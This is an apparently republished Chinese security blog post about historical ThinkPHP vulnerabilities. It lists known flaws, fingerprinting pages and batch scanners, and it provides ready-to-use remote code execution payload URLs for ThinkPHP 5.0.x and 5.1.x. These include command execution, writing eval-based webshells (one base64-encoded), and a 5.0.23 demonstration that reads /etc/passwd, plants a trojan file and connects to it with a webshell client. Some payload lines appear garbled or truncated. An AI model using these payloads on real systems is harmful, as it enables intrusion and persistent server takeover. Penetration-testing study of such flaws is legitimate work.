常见历史漏洞之Thinkphp

常见历史漏洞之Thinkphp

  • 一、介绍
  • 二、Thinkphp历史漏洞
  • 三、Thinkphp特征发现
  • 四、批量漏洞检测
  • 五、漏洞总结
  • 六、5.0.23版本案例演示

一、介绍

Thinkphp是一种开源框架。是一个由国人开发的支持windows/Unix/Linux等服务器环境的轻量级PHP开发框架。很多cms就是基于thinkphp二次开发的,所以thinkphp出问题的话,会影响很多基于thinkphp开发的网站。

二、Thinkphp历史漏洞

  • ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell
  • ThinkPHP5_SQL注入漏洞&&敏感信息泄露
  • ThinkPHP3.2.3_最新版update注入漏洞
  • ThinkPHP5.0.10缓存函数设计缺陷可导致Getshell
  • ThinkPHP3.2.X_find_select_delete注入
  • ThinkPHP框架5.0.X_sql注入漏洞分析
  • ThinkPHP3.X_order_by注入漏洞
  • ThinkPHP5.X_order_by注入漏洞
  • ThinkPHP5.X_远程代码执行

三、Thinkphp特征发现

  • 默认页面
    常见历史漏洞之Thinkphp_第1张图片

  • 错误页面

    • 开启了debug模式的错误页面:
      常见历史漏洞之Thinkphp_第2张图片

常见历史漏洞之Thinkphp_第3张图片

- 未开启debug模式的错误页面:

常见历史漏洞之Thinkphp_第4张图片

四、批量漏洞检测

  • https://github.com/Lucifer1993/TPscan
python TPscan.py

常见历史漏洞之Thinkphp_第5张图片
常见历史漏洞之Thinkphp_第6张图片

  • https://github.com/theLSA/tp5-getshell
python2.7 tp5-getshell.py -u http://192.168.9.148:8080/

常见历史漏洞之Thinkphp_第7张图片
常见历史漏洞之Thinkphp_第8张图片

  • 说明漏洞存在,可以进行漏洞利用。
  • 使用ThinkphpGUI-1.2-SNAPSHOT进行漏洞扫描和命令执行。

常见历史漏洞之Thinkphp_第9张图片

  • 切换版本,进行命令执行。

常见历史漏洞之Thinkphp_第10张图片
常见历史漏洞之Thinkphp_第11张图片

五、漏洞总结

  • Thinkphp3 漏洞总结:https://y4er.com/post/thinkphp3-vuln/

常见历史漏洞之Thinkphp_第12张图片

  • Thinkphp5 RCE总结:https://y4er.com/post/thinkphp5-rce/

常见历史漏洞之Thinkphp_第13张图片

  • 5.0.* 常用PoC
#执行命令
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

#写入Webshell
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[ccc]);?>

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > shell9.php

  • 5.1.* 常用PoC
#执行命令
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/\think\Request/input&filter=system&data=id (dir ls)
/index.php?s=/index/\think\request/cache&key=1|phpinfo

#写入Webshell
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "$_POST[ccc]);?>" >shell.php
(echo ^<?php @eval($_POST[ccc]);?^>" >shell1.php)


/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]]=whoami
/index.php?s=index/\think\Request/input&filter=phpinfo&data=1
/index.php?s=index/\think\Request/input&filter=system&data=id (dir ls)
/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
/index.php?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

六、5.0.23版本案例演示

常见历史漏洞之Thinkphp_第14张图片
常见历史漏洞之Thinkphp_第15张图片

1、查看。

#查看
/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /etc/passwd

常见历史漏洞之Thinkphp_第16张图片

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

常见历史漏洞之Thinkphp_第17张图片

2、写入木马文件。

/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "$_POST['cmd']);?>" > 1.php

常见历史漏洞之Thinkphp_第18张图片

3、写入成功。

常见历史漏洞之Thinkphp_第19张图片
常见历史漏洞之Thinkphp_第20张图片
常见历史漏洞之Thinkphp_第21张图片

4、使用蚁剑进行连接。

常见历史漏洞之Thinkphp_第22张图片
常见历史漏洞之Thinkphp_第23张图片

常见历史漏洞之Thinkphp_第24张图片

常见历史漏洞之Thinkphp_第25张图片

你可能感兴趣的:(学习,web安全,Thinkphp)